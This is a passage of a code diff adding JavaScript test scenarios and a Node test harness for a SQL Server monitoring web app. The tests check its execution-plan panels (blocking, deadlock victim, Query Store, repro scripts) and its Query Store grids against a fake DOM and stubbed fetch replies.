+  },
+  async truncated() {
+    planReply(XML.slice(0, 120), true);
+    const cell = viewer.storedPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    await flush();
+    const dl = cell.byText("Download .sqlplan");
+    out.disabled = dl.attrs.disabled !== undefined && dl.disabled === true;
+    dl.click();
+    out.downloads = downloads.length;
+    out.notice = cell.all((n) => n.className === "strip notice").map((n) => n.textContent)[0];
+    out.shown = pre(cell).textContent.includes("(truncated)");
+    out.copyOn = cell.byText("Copy") !== null && cell.byText("Copy").attrs.disabled === undefined;
+  },
+  async noPlan() {
+    noPlanReply();
+    const cell = viewer.storedPlanCell("srv-a", row);
+    cell.byText("Plan").click();
+    await flush();
+    out.text = cell.textContent;
+    out.hasPre = pre(cell) !== null;
+    out.hasDownload = cell.byText("Download .sqlplan") !== null;
+  },
+  async rebuild() {
+    planReply(XML);
+    const first = viewer.storedPlanCell("srv-a", row);
+    first.byText("Plan").click();
+    await flush();
+    const before = fetches.length;
+    /* The 60 s rebuild draws a brand-new cell for the same row. */
+    const second = viewer.storedPlanCell("srv-a", row);
+    out.open = second.byText("Hide plan") !== null;
+    out.showsPlan = pre(second) !== null && pre(second).textContent.includes("RelOp");
+    out.refetched = fetches.length - before;
+    const other = viewer.storedPlanCell("srv-b", row);
+    out.otherServerOpen = other.byText("Hide plan") !== null;
+    /* A rebuild while the read is still out: the new cell fills in when it lands. */
+    viewer.resetPlanViewer();
+    let release;
+    const gate = new Promise((r) => { release = r; });
+    globalThis.fetch = async () => { await gate; return { status: 200, ok: true, text: async () => JSON.stringify({ query_hash: "H1", database_name: null, plan_xml: XML, truncated: false }) }; };
+    const c1 = viewer.storedPlanCell("srv-a", row);
+    c1.byText("Plan").click();
+    const c2 = viewer.storedPlanCell("srv-a", row);
+    out.loadingInNew = c2.textContent.includes("Loading");
+    release();
+    await flush();
+    out.filledNew = pre(c2) !== null;
+    out.keys = viewer.openPlanKeys();
+  },
+  async kinds() {
+    planReply(XML);
+    const snap = { collection_time: "2026-03-04T05:06:07.1234560", session_id: 57, request_id: 3, has_query_plan: true, has_live_query_plan: true };
+    const cols = viewer.activePlanColumns("srv-a");
+    out.activeKeys = cols.map((c) => c.key);
+    out.activeLabels = cols.map((c) => c.label);
+    out.planColsNoFilter = [...cols, viewer.queryStorePlanColumn("srv-a"), viewer.procedurePlanColumn("srv-a")].every((c) => c.filter === false);
+    /* An open panel's XML is the cell's text, so every plan column also stays out of the column filter and Copy row / Copy all. */
+    out.planColsNoFilterNoCopy = [...cols, viewer.queryStorePlanColumn("srv-a"), viewer.procedurePlanColumn("srv-a"), viewer.planColumn("srv-a"),
+      ...viewer.blockingPlanColumns("srv-a"), viewer.deadlockPlanColumn("srv-a")]
+      .every((c) => c.filter === false && c.copy === false && c.csv === false);
+    out.activeHide = cols.every((c) => c.hideWhenEmpty === true && c.sortable === false && c.csv === false);
+    const est = cols[0].render(snap);
+    est.byText("Plan").click();
+    await flush();
+    let u = params();
+    out.activePath = u.pathname;
+    out.activeQuery = Object.fromEntries(u.searchParams);
+    const live = cols[1].render({ ...snap, request_id: null });
+    live.byText("Live plan").click();
+    await flush();
+    u = params();
+    out.liveQuery = Object.fromEntries(u.searchParams);
+    out.noFlagCell = cols[0].render({ ...snap, has_query_plan: undefined }).textContent;
+    out.noLiveFlagCell = cols[1].render({ ...snap, has_live_query_plan: undefined }).textContent;
+
+    const qs = viewer.queryStorePlanColumn("srv-a");
+    out.qsKey = qs.key;
+    const qsCell = qs.render({ database_name: "Orders", query_id: 42, plan_id: 7 });
+    qsCell.byText("Plan").click();
+    await flush();
+    u = params();
+    out.qsPath = u.pathname;
+    out.qsQuery = Object.fromEntries(u.searchParams);
+    const qsNoPlanId = qs.render({ database_name: "Orders", query_id: 42, plan_id: null });
+    qsNoPlanId.byText("Plan").click();
+    await flush();
+    out.qsNoPlanIdQuery = Object.fromEntries(params().searchParams);
+    out.qsNoKey = qs.render({ database_name: "Orders", query_id: null }).textContent;
+
+    const pc = viewer.procedurePlanColumn("srv-a");
+    out.procKey = pc.key;
+    out.procHide = pc.hideWhenEmpty === true;
+    const pCell = pc.render({ sql_handle: "0x0300050011223344" });
+    pCell.byText("Plan").click();
+    await flush();
+    u = params();
+    out.procPath = u.pathname;
+    out.procQuery = Object.fromEntries(u.searchParams);
+    out.procNoHandle = pc.render({ sql_handle: null }).textContent;
+
+    /* Blocking (#5236): two columns, each gated on its own flag. The query string is the row's own strings, in the
+       order the read documents: the blocked side sends no `side`, the blocking side sends side=blocking, and a row with
+       no ecid reads as 0. */
+    const bp = viewer.blockingPlanColumns("srv-a");
+    out.blockingKeys = bp.map((c) => c.key);
+    out.blockingLabels = bp.map((c) => c.label);
+    out.blockingHide = bp.every((c) => c.hideWhenEmpty === true && c.sortable === false && c.csv === false);
+    const brow = { event_time: "2026-03-04T05:06:07.1234567", blocked_spid: 57, blocked_ecid: 1, blocking_spid: 61, blocking_ecid: 2, has_blocked_plan: true, has_blocking_plan: true };
+    bp[0].render(brow).byText("Blocked plan").click();
+    await flush();
+    u = params();
+    out.blockedPath = u.pathname;
+    out.blockedSearch = u.search;
+    bp[1].render(brow).byText("Blocking plan").click();
+    await flush();
+    out.blockingSearch = params().search;
+    bp[0].render({ ...brow, blocked_ecid: null, blocking_ecid: undefined, event_time: "2026-03-04T05:06:07.1234560" }).byText("Blocked plan").click();
+    await flush();
+    out.blockedNoEcidSearch = params().search;
+    /* The row's database_name goes along when it has one (last), and a row without one sends none (the searches above). */
+    bp[0].render({ ...brow, database_name: "Orders" }).byText("Blocked plan").click();
+    await flush();
+    out.blockedDbSearch = params().search;
+
+    /* Deadlocks (#5236): the victim's plan, by the two stamps and the victim's process id; a row with no victim id
+       leaves it off. */
+    const dp = viewer.deadlockPlanColumn("srv-a");
+    out.deadlockKey = dp.key;
+    out.deadlockLabel = dp.label;
+    out.deadlockHide = dp.hideWhenEmpty === true && dp.sortable === false && dp.csv === false;
+    const drow = { collection_time: "2026-03-04T05:06:08.5000000", deadlock_time: "2026-03-04T05:06:07.1230000", victim_process_id: "process1a2b", has_victim_plan: true };
+    dp.render(drow).byText("Victim plan").click();
+    await flush();
+    u = params();
+    out.deadlockPath = u.pathname;
+    out.deadlockSearch = u.search;
+    dp.render({ ...drow, victim_process_id: "" }).byText("Victim plan").click();
+    await flush();
+    out.deadlockNoVictimSearch = params().search;
+    dp.render({ ...drow, database_name: "Orders" }).byText("Victim plan").click();
+    await flush();
+    out.deadlockDbSearch = params().search;
+
+    out.keys = viewer.openPlanKeys();
+    out.keysUnique = new Set(out.keys).size === out.keys.length;
+  },
+  async kindsDoNotShareAPanel() {
+    planReply(XML);
+    /* Two different sources whose key parts look alike must each own a panel. */
+    const a = viewer.planSourceCell("srv-a", { kind: "procedure", sql_handle: "42" });
+    const b = viewer.planSourceCell("srv-a", { kind: "query_store", database_name: "42", query_id: 1, plan_id: null });
+    a.byText("Plan").click();
+    out.aOpen = a.byText("Hide plan") !== null;
+    out.bOpenAfterA = b.byText("Hide plan") !== null;
+    await flush();
+    const est = viewer.planSourceCell("srv-a", { kind: "active_snapshot", collection_time: "T", session_id: 1, request_id: 0, live: false });
+    const live = viewer.planSourceCell("srv-a", { kind: "active_snapshot", collection_time: "T", session_id: 1, request_id: 0, live: true });
+    est.byText("Plan").click();
+    out.liveOpenAfterEst = live.byText("Hide plan") !== null;
+    await flush();
+    out.keys = viewer.openPlanKeys();
+    /* #5236: one blocked process report row holds two plans, the blocked side's and the blocking side's, and they are two
+       panels. Two deadlocks that carry the same stamps but name different victims are two panels as well. */
+    const rowKey = { kind: "blocking", event_time: "T", blocked_spid: 1, blocked_ecid: 0, blocking_spid: 2, blocking_ecid: 0 };
+    const blocked = viewer.planSourceCell("srv-a", { ...rowKey, side: "blocked" });
+    const blocking = viewer.planSourceCell("srv-a", { ...rowKey, side: "blocking" });
+    blocked.byText("Plan").click();
+    out.blockingOpenAfterBlocked = blocking.byText("Hide plan") !== null;
+    await flush();
+    blocking.byText("Plan").click();
+    out.bothSidesOpen = blocked.byText("Hide plan") !== null && blocking.byText("Hide plan") !== null;
+    await flush();
+    out.sideKeys = viewer.openPlanKeys().filter((k) => k.includes("@blocking"));
+    const stamps = { kind: "deadlock_victim", collection_time: "C", deadlock_time: "D" };
+    const victim1 = viewer.planSourceCell("srv-a", { ...stamps, victim_process_id: "process1" });
+    const victim2 = viewer.planSourceCell("srv-a", { ...stamps, victim_process_id: "process2" });
+    victim1.byText("Plan").click();
+    out.victim2OpenAfterVictim1 = victim2.byText("Hide plan") !== null;
+    await flush();
+    victim2.byText("Plan").click();
+    out.bothVictimsOpen = victim1.byText("Hide plan") !== null && victim2.byText("Hide plan") !== null;
+    await flush();
+    out.victimKeys = viewer.openPlanKeys().filter((k) => k.includes("@deadlock_victim"));
+    /* #5236: the database is part of the key. The same report key, and the same deadlock stamps and victim, in two databases are
+       two panels, and the row's own database is the one in each key. */
+    const reportKey = { kind: "blocking", event_time: "T", blocked_spid: 1, blocked_ecid: 0, blocking_spid: 2, blocking_ecid: 0, side: "blocked" };
+    const inOne = viewer.planSourceCell("srv-a", { ...reportKey, database_name: "DbOne" });
+    const inTwo = viewer.planSourceCell("srv-a", { ...reportKey, database_name: "DbTwo" });
+    inOne.byText("Plan").click();
+    out.dbTwoOpenAfterDbOne = inTwo.byText("Hide plan") !== null;
+    await flush();
+    inTwo.byText("Plan").click();
+    out.bothDatabasesOpen = inOne.byText("Hide plan") !== null && inTwo.byText("Hide plan") !== null;
+    await flush();
+    out.databaseKeys = viewer.openPlanKeys().filter((k) => k.includes("DbOne") || k.includes("DbTwo"));
+    const sameVictim = { kind: "deadlock_victim", collection_time: "C", deadlock_time: "D", victim_process_id: "process1" };
+    const victimInOne = viewer.planSourceCell("srv-a", { ...sameVictim, database_name: "DbOne" });
+    const victimInTwo = viewer.planSourceCell("srv-a", { ...sameVictim, database_name: "DbTwo" });
+    victimInOne.byText("Plan").click();
+    out.victimDbTwoOpenAfterDbOne = victimInTwo.byText("Hide plan") !== null;
+    await flush();
+    out.hashKey = (() => { viewer.resetPlanViewer(); viewer.openStoredPlan("srv-a", "0xABC", "Orders"); return viewer.openPlanKeys()[0]; })();
+  },
+  async stems() {
+    planReply(XML);
+    const cells = [
+      viewer.planSourceCell("s", { kind: "active_snapshot", collection_time: "2026-03-04T05:06:07.1234560", session_id: 57, request_id: 0, live: true }),
+      viewer.planSourceCell("s", { kind: "query_store", database_name: "Orders", query_id: 42, plan_id: 7 }),
+      viewer.planSourceCell("s", { kind: "procedure", sql_handle: "0x03000500AA" }),
+      /* #5236: the blocked and blocking sides of one report, then a deadlock's victim. */
+      viewer.planSourceCell("s", { kind: "blocking", event_time: "2026-03-04T05:06:07.1234567", blocked_spid: 57, blocked_ecid: 0, blocking_spid: 61, blocking_ecid: 0, side: "blocked" }),
+      viewer.planSourceCell("s", { kind: "blocking", event_time: "2026-03-04T05:06:07.1234567", blocked_spid: 57, blocked_ecid: 0, blocking_spid: 61, blocking_ecid: 0, side: "blocking" }),
+      viewer.planSourceCell("s", { kind: "deadlock_victim", collection_time: "2026-03-04T05:06:08.5000000", deadlock_time: "2026-03-04T05:06:07.1230000", victim_process_id: "process1a2b" }),
+    ];
+    out.names = [];
+    for (const c of cells) {
+      c.byText("Plan").click();
+      await flush();
+      c.byText("Download .sqlplan").click();
+      out.names.push(downloads[downloads.length - 1].name);
+    }
+  },
+  async rebuildKinds() {
+    planReply(XML);
+    const src = { kind: "query_store", database_name: "Orders", query_id: 42, plan_id: 7 };
+    const first = viewer.planSourceCell("srv-a", src);
+    first.byText("Plan").click();
+    await flush();
+    const before = fetches.length;
+    const second = viewer.planSourceCell("srv-a", src);
+    out.open = second.byText("Hide plan") !== null;
+    out.showsPlan = pre(second) !== null;
+    out.refetched = fetches.length - before;
+
+    /* #5236: the blocking and deadlock columns' panels survive the 60 s rebuild the same way (each rebuild draws the
+       row's cells again from the row). */
+    const bcol = viewer.blockingPlanColumns("srv-a")[1];
+    const dcol = viewer.deadlockPlanColumn("srv-a");
+    const brow = { event_time: "2026-03-04T05:06:07.1234567", blocked_spid: 57, blocked_ecid: 0, blocking_spid: 61, blocking_ecid: 0, has_blocking_plan: true };
+    const drow = { collection_time: "2026-03-04T05:06:08.5000000", deadlock_time: "2026-03-04T05:06:07.1230000", victim_process_id: "process1a2b", has_victim_plan: true };
+    bcol.render(brow).byText("Blocking plan").click();
+    dcol.render(drow).byText("Victim plan").click();
+    await flush();
+    const beforeRows = fetches.length;
+    const blockingAgain = bcol.render(brow);
+    const victimAgain = dcol.render(drow);
+    out.blockingOpen = blockingAgain.byText("Hide plan") !== null;
+    out.blockingShowsPlan = pre(blockingAgain) !== null && pre(blockingAgain).textContent.includes("RelOp");
+    out.victimOpen = victimAgain.byText("Hide plan") !== null;
+    out.victimShowsPlan = pre(victimAgain) !== null && pre(victimAgain).textContent.includes("RelOp");
+    out.refetchedRows = fetches.length - beforeRows;
+  },
+  /* A source's `scope` is part of its panel key: the same plan opened from two places is two panels. The scope names who owns
+     the button and never goes to the read. */
+  async scopedSource() {
+    planReply(XML);
+    const src = { kind: "query_store", database_name: "Orders", query_id: 42, plan_id: 7 };
+    const plain = viewer.planSourceCell("srv-a", src);
+    const scoped = viewer.planSourceCell("srv-a", { ...src, scope: "panel-a" });
+    const other = viewer.planSourceCell("srv-a", { ...src, scope: "panel-b" });
+    scoped.byText("Plan").click();
+    await flush();
+    out.scopedOpen = scoped.byText("Hide plan") !== null && pre(scoped) !== null;
+    out.plainOpen = plain.byText("Hide plan") !== null;
+    out.otherOpen = other.byText("Hide plan") !== null;
+    out.query = Object.fromEntries(params().searchParams);
+    out.keys = viewer.openPlanKeys();
+    const before = fetches.length;
+    const again = viewer.planSourceCell("srv-a", { ...src, scope: "panel-a" });
+    out.againOpen = again.byText("Hide plan") !== null;
+    out.refetched = fetches.length - before;
+  },
+  /* A plan column's factory runs once per grid build, and the page throws the old grid away. A cell nobody clicked leaves the
+     redraw set once its grid is gone, so the set holds about two builds' cells however many builds go by, whether the rows are
+     the same each time or new each time. A cell of the build in progress is not on the page yet and stays in the set. */
+  async rebuildsBounded() {
+    FakeNode.newConnected = false;
+    const total = () => Object.values(viewer.planViewerViewCounts()).reduce((a, b) => a + b, 0);
+    const rows = (build) => [1, 2, 3].map((i) => ({ database_name: "Orders", query_id: build * 10 + i, plan_id: i }));
+    let page = [];
+    out.sameRows = { during: [], after: [] };
+    out.newRows = { during: [], after: [] };
+    for (let build = 0; build < 12; build++) {
+      const phase = build < 6 ? out.sameRows : out.newRows;
+      const grid = viewer.queryStorePlanColumn("srv-a");
+      const cells = rows(build < 6 ? 0 : build).map((r) => grid.render(r));
+      phase.during.push(total());
+      cells.forEach((x) => body.appendChild(x));
+      page.forEach((x) => body.removeChild(x));
+      page = cells;
+      phase.after.push(total());
+    }
+    out.keys = Object.keys(viewer.planViewerViewCounts()).length;
+  },
+  async noPlanKind() {
+    reply = { status: 200, body: JSON.stringify({ status: "unavailable", message: "No stored Query Store plan found for query_id 42 in database 'Orders'." }) };
+    const c = viewer.planSourceCell("srv-a", { kind: "query_store", database_name: "Orders", query_id: 42, plan_id: null });
+    c.byText("Plan").click();
+    await flush();
+    out.text = c.textContent;
+    out.hasPre = pre(c) !== null;
+  },
+  /* #5233: the Repro script under an open plan panel. */
+  async repro() {
+    const src = { kind: "query_store", database_name: "Orders", query_id: 42, plan_id: 7 };
+    const cell = viewer.planSourceCell("srv-a", src);
+    planReply(XML);
+    cell.byText("Plan").click();
+    await flush();
+    out.hasReproButton = cell.byText("Repro script") !== null;
+    reply = { status: 200, body: JSON.stringify({ kind: "query_store", database_name: "Orders", query_id: 42, plan_id: 7, plan_found: true, script: "USE [Orders];\nselect 1;" }) };
+    cell.byText("Repro script").click();
+    await flush();
+    const u = params();
+    out.path = u.pathname;
+    out.query = Object.fromEntries(u.searchParams);
+    const sql = cell.all((n) => n.tag === "pre" && n.className.includes("repro-sql"))[0];
+    out.pre = sql ? sql.textContent : null;
+    out.preTag = sql ? sql.tag : null;
+    out.noNotice = cell.all((n) => n.className.includes("notice")).length === 0;
+    const copies = cell.all((n) => n.tag === "button" && n.textContent === "Copy");
+    copies[copies.length - 1].click();
+    await flush();
+    out.clip = clip[clip.length - 1];
+    cell.byText("Download .sql").click();
+    out.download = downloads[downloads.length - 1].name;
+    out.downloadType = downloads[downloads.length - 1].blob.type;
+    out.hideLabel = cell.byText("Hide repro") !== null;
+  },
+  async reproNoPlanFound() {
+    const cell = viewer.planSourceCell("srv-a", { kind: "query_hash", query_hash: "0xAB", database_name: null });
+    planReply(XML);
+    cell.byText("Plan").click();
+    await flush();
+    reply = { status: 200, body: JSON.stringify({ kind: "query_hash", query_hash: "0xAB", plan_found: false, script: "select 1;" }) };
+    cell.byText("Repro script").click();
+    await flush();
+    out.query = Object.fromEntries(params().searchParams);
+    out.notice = cell.all((n) => n.className.includes("notice")).map((n) => n.textContent).join("|");
+    out.hasScript = cell.all((n) => n.className.includes("repro-sql")).length === 1;
+  },
+  async reproWithNoStoredPlan() {
+    const cell = viewer.planSourceCell("srv-a", { kind: "query_hash", query_hash: "0xAB", database_name: null });
+    reply = { status: 200, body: JSON.stringify({ status: "unavailable", message: "No stored plan found for this query_hash key." }) };
+    cell.byText("Plan").click();
+    await flush();
+    out.hasPre = pre(cell) !== null;
+    out.hasReproButton = cell.byText("Repro script") !== null;
+    reply = { status: 200, body: JSON.stringify({ kind: "query_hash", query_hash: "0xAB", plan_found: false, script: "select 1;" }) };
+    cell.byText("Repro script").click();
+    await flush();
+    out.query = Object.fromEntries(params().searchParams);
+    out.notice = cell.all((n) => n.className.includes("notice")).map((n) => n.textContent).join("|");
+    out.hasScript = cell.all((n) => n.className.includes("repro-sql")).length === 1;
+    out.noPlanStrip = cell.textContent.includes("No stored plan found");
+  },
+  async reproUnavailable() {
+    const cell = viewer.planSourceCell("srv-a", { kind: "query_hash", query_hash: "0xAB", database_name: null });
+    planReply(XML);
+    cell.byText("Plan").click();
+    await flush();
+    reply = { status: 200, body: JSON.stringify({ status: "unavailable", message: "No stored query text found for this query_hash key." }) };
+    cell.byText("Repro script").click();
+    await flush();
+    out.text = cell.all((n) => n.className.includes("repro-panel"))[0].textContent;
+    out.hasScript = cell.all((n) => n.className.includes("repro-sql")).length === 1;
+  },
+  async activeSendsNoLive() {
+    const cell = viewer.planSourceCell("srv-a", { kind: "active_snapshot", collection_time: "2026-03-04T05:06:07.1234560", session_id: 57, request_id: 0, live: true }, "Live plan");
+    planReply(XML);
+    cell.byText("Live plan").click();
+    await flush();
+    reply = { status: 200, body: JSON.stringify({ kind: "active_snapshot", plan_found: true, script: "select 1;" }) };
+    cell.byText("Repro script").click();
+    await flush();
+    out.query = Object.fromEntries(params().searchParams);
+  },
+  async procedureHasNoRepro() {
+    const cell = viewer.planSourceCell("srv-a", { kind: "procedure", sql_handle: "0x03000500AA" });
+    planReply(XML);
+    cell.byText("Plan").click();
+    await flush();
+    out.hasPlan = pre(cell) !== null;
+    out.hasRepro = cell.byText("Repro script") !== null;
+  },
+  async reproSurvivesRebuild() {
+    const src = { kind: "query_store", database_name: "Orders", query_id: 42, plan_id: 7 };
+    const first = viewer.planSourceCell("srv-a", src);
+    planReply(XML);
+    first.byText("Plan").click();
+    await flush();
+    reply = { status: 200, body: JSON.stringify({ plan_found: true, script: "select 1;" }) };
+    first.byText("Repro script").click();
+    await flush();
+    const before = fetches.length;
+    const second = viewer.planSourceCell("srv-a", src);
+    out.open = second.byText("Hide repro") !== null;
+    out.showsScript = second.all((n) => n.className.includes("repro-sql")).length === 1;
+    out.refetched = fetches.length - before;
+    second.byText("Hide plan").click();
+    const third = viewer.planSourceCell("srv-a", src);
+    third.byText("Plan").click();
+    out.reproClosedWithPlan = third.byText("Repro script") === null && third.all((n) => n.className.includes("repro-sql")).length === 0;
+  },
+  /* #5236: a Deadlocks row that names no victim reads by its two times alone, and the read refuses when the deadlocks
+     with those times name more than one victim. The refusal is an "invalid" envelope under a 200, and the panel must
+     show its message, never a blank pane. */
+  async deadlockRefusal() {
+    reply = { status: 200, body: JSON.stringify({ status: "invalid", message: "More than one deadlock shares this collection_time and deadlock_time and they name different victims. Pass the row's victim_process_id to pick one.", hints: { parameter: "victim_process_id" } }) };
+    const c = viewer.planSourceCell("srv-a", { kind: "deadlock_victim", collection_time: "2026-03-04T05:06:08.5000000", deadlock_time: "2026-03-04T05:06:07.1230000", victim_process_id: null });
+    c.byText("Plan").click();
+    await flush();
+    const u = params();
+    out.path = u.pathname;
+    out.hasVictimParam = u.searchParams.has("victim_process_id");
+    out.text = c.textContent;
+    out.hasPre = pre(c) !== null;
+    out.hasDownload = c.byText("Download .sqlplan") !== null;
+    out.strip = c.all((n) => n.className === "strip error").length;
+  },
+  async nullSource() {
+    out.cell = viewer.planSourceCell("srv-a", null).textContent;
+    /* #5236: a blocking or deadlock row without its presence flag (a DMV row never has one, nor does a report whose plans
+       were not in the cache) is a dash, and so is a flagged row missing a value the read keys on. */
+    const bp = viewer.blockingPlanColumns("srv-a");
+    const dp = viewer.deadlockPlanColumn("srv-a");
+    const bRow = { event_time: "2026-03-04T05:06:07.1234567", blocked_spid: 57, blocked_ecid: 0, blocking_spid: 61, blocking_ecid: 0 };
+    const dRow = { collection_time: "2026-03-04T05:06:08.5000000", deadlock_time: "2026-03-04T05:06:07.1230000", victim_process_id: "process1a2b" };
+    out.dmvCells = bp.map((c) => c.render({ ...bRow, source: "dmv", event_time: null }).textContent);
+    out.unflaggedBlockingCells = bp.map((c) => c.render(bRow).textContent);
+    out.unflaggedVictimCell = dp.render(dRow).textContent;
+    out.noRowCells = [bp[0].render(null).textContent, bp[1].render(undefined).textContent, dp.render(null).textContent];
+    out.noKeyCells = [
+      bp[0].render({ ...bRow, has_blocked_plan: true, event_time: null }).textContent,
+      bp[1].render({ ...bRow, has_blocking_plan: true, event_time: "" }).textContent,
+      bp[0].render({ ...bRow, has_blocked_plan: true, blocking_spid: null }).textContent,
+      bp[1].render({ ...bRow, has_blocking_plan: true, blocked_spid: undefined }).textContent,
+      dp.render({ ...dRow, has_victim_plan: true, deadlock_time: null }).textContent,
+      dp.render({ ...dRow, has_victim_plan: true, collection_time: undefined }).textContent,
+    ];
+    out.fetched = fetches.length;
+  },
+  async blockingButtons() {
+    planReply(XML);
+    const bp = viewer.blockingPlanColumns("srv-a");
+    const key = { event_time: "2026-03-04T05:06:07.1234567", blocked_spid: 57, blocked_ecid: 0, blocking_spid: 61, blocking_ecid: 0 };
+    const cells = (row) => bp.map((c) => c.render(row).textContent);
+    out.both = cells({ ...key, has_blocked_plan: true, has_blocking_plan: true });
+    out.blockedOnly = cells({ ...key, has_blocked_plan: true });
+    out.blockingOnly = cells({ ...key, has_blocking_plan: true });
+    out.neither = cells(key);
+    /* The server sends a flag as true or leaves it off, so a button needs exactly true: nothing else draws one. */
+    out.looseFlags = [false, null, 0, 1, "true", "yes", {}, []].map((v) => cells({ ...key, has_blocked_plan: v, has_blocking_plan: v }).join("|"));
+    /* The flags alone decide (not `source`). */
+    out.xeFlagged = cells({ ...key, source: "xe", has_blocked_plan: true, has_blocking_plan: true });
+    out.dmvFlagless = cells({ ...key, source: "dmv" });
+    /* Each button opens its own plan: the blocked one first, the blocking one after, two reads and two panels. */
+    const row = { ...key, has_blocked_plan: true, has_blocking_plan: true };
+    const blockedCell = bp[0].render(row);
+    const blockingCell = bp[1].render(row);
+    blockedCell.byText("Blocked plan").click();
+    await flush();
+    out.blockedSearch = params().search;
+    out.blockingClosed = blockingCell.byText("Blocking plan") !== null && pre(blockingCell) === null;
+    out.blockedShows = pre(blockedCell) !== null;
+    blockingCell.byText("Blocking plan").click();
+    await flush();
+    out.blockingSearch = params().search;
+    out.bothShow = pre(blockedCell) !== null && pre(blockingCell) !== null;
+    out.reads = fetches.length;
+    out.panels = viewer.openPlanKeys().length;
+    /* A second row of the same report time but another pair is a different panel. */
+    const other = bp[0].render({ ...row, blocking_spid: 62 });
+    out.otherPairClosed = other.byText("Blocked plan") !== null;
+  },
+  async victimButton() {
+    planReply(XML);
+    const dp = viewer.deadlockPlanColumn("srv-a");
+    const base = { collection_time: "2026-03-04T05:06:08.5000000", deadlock_time: "2026-03-04T05:06:07.1230000", victim_process_id: "process1a2b" };
+    out.flagged = dp.render({ ...base, has_victim_plan: true }).textContent;
+    out.unflagged = dp.render(base).textContent;
+    out.looseFlags = [false, null, 0, 1, "true", "yes", {}, []].map((v) => dp.render({ ...base, has_victim_plan: v }).textContent);
+    /* Two deadlocks with the same stamps and different victims each open a plan of their own. */
+    const first = dp.render({ ...base, has_victim_plan: true });
+    const second = dp.render({ ...base, victim_process_id: "process9z9z", has_victim_plan: true });
+    first.byText("Victim plan").click();
+    await flush();
+    out.firstSearch = params().search;
+    out.secondClosed = second.byText("Victim plan") !== null;
+    second.byText("Victim plan").click();
+    await flush();
+    out.secondSearch = params().search;
+    out.bothShow = pre(first) !== null && pre(second) !== null;
+    out.panels = viewer.openPlanKeys().length;
+  },
+};
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-qs-grids-harness.mjs b/Darling/Darling.Tests/web-qs-grids-harness.mjs
new file mode 100644
index 0000000000..22739553b4
--- /dev/null
+++ b/Darling/Darling.Tests/web-qs-grids-harness.mjs
@@ -0,0 +1,141 @@
+/* #4843: runs the server page's Queries tab (SERVER_TABS "queries" in wwwroot/js/pages/server-tabs.js, with the shipped
+   panels.js and util.js) against a scripted /api/read answer and prints what its Query Store Regressions, Long Query
+   Completions and Plan Corrections grids drew, as one line of JSON. WebQueryStoreGridGroupsBehaviourTests starts it as
+       node web-qs-grids-harness.mjs <path to wwwroot/js> <scenario>
+   Run it under TZ=America/New_York to see the browser-local rendering of a UTC instant. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag) { this.style = {}; this.classList = { add: (c) => { this.className = (this.className + " " + c).trim(); }, remove: (c) => { this.className = this.className.split(" ").filter((x) => x !== c).join(" "); }, toggle() {}, contains: () => false }; this.tag = tag; this.children = []; this.attrs = {}; this.dataset = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; }
+  get parentNode() { return this.parent; }
+  closest(tag) { for (let n = this; n; n = n.parent) if (n.tag === tag) return n; return null; }
+  click() { this.fire("click", { target: this }); }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k]; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+globalThis.document = { body: new FakeNode("body"), createElement: (t) => new FakeNode(t), createElementNS: (ns, t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+globalThis.location = { hash: "#/server/a/queries" };
+
+const fetches = [];
+let answers = {};
+globalThis.fetch = async (url) => {
+  const u = new URL(String(url), "http://viewer.test");
+  const name = u.pathname.replace("/api/read/", "");
+  fetches.push(name);
+  const body = answers[name] ?? {};
+  return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+};
+process.on("unhandledRejection", () => {});
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "qsgrids-"));
+let modules;
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = { util: await load("util.js"), tabs: await load(path.join("pages", "server-tabs.js")) };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const UTC_STAMP = "2026-01-15T17:30:00.0000000";
+const regressions = [{ severity: "High", database_name: "d1", query_text: "select 1", query_id: 7, additional_duration_ms: 5, baseline_cpu_ms: 11, recent_cpu_ms: 12, baseline_reads: 13, recent_reads: 14, baseline_exec_count: 15, recent_exec_count: 16, baseline_plan_count: 1, recent_plan_count: 2, last_execution_time: UTC_STAMP }];
+const completions = [{ event_time: UTC_STAMP, statement: "select 2", event_type: "rpc", duration_ms: 9, logical_reads: 21, physical_reads: 22, writes: 23, row_count: 24, session_id: 55, client_app_name: "AppX", server_principal_name: "loginx", database_name: "d1" }];
+const recommendations = [{ collection_time: UTC_STAMP, query_text: "select 3", database_name: "d1", recommendation_state: "Active", score: 90, query_id: 7, regressed_plan_id: 101, last_good_plan_id: 100, last_good_plan_forcing_type: "AUTO", regressed_plan_execution_count: 31, valid_since: UTC_STAMP, last_refresh: UTC_STAMP, execute_action_initiated_by: "System", execute_action_initiated_time: UTC_STAMP }];
+answers = {
+  get_query_store_regressions: { regressions },
+  get_long_query_completions: { completions },
+  get_plan_corrections: { recommendations, automatic_tuning: [] },
+};
+
+const all = (n, out = []) => { out.push(n); for (const c of n.children) all(c, out); return out; };
+const flush = async () => { for (let i = 0; i < 200; i++) await new Promise((r) => setTimeout(r, 0)); };
+const draw = async () => {
+  const tab = modules.tabs.SERVER_TABS.find((t) => t.id === "queries");
+  const root = new FakeNode("main");
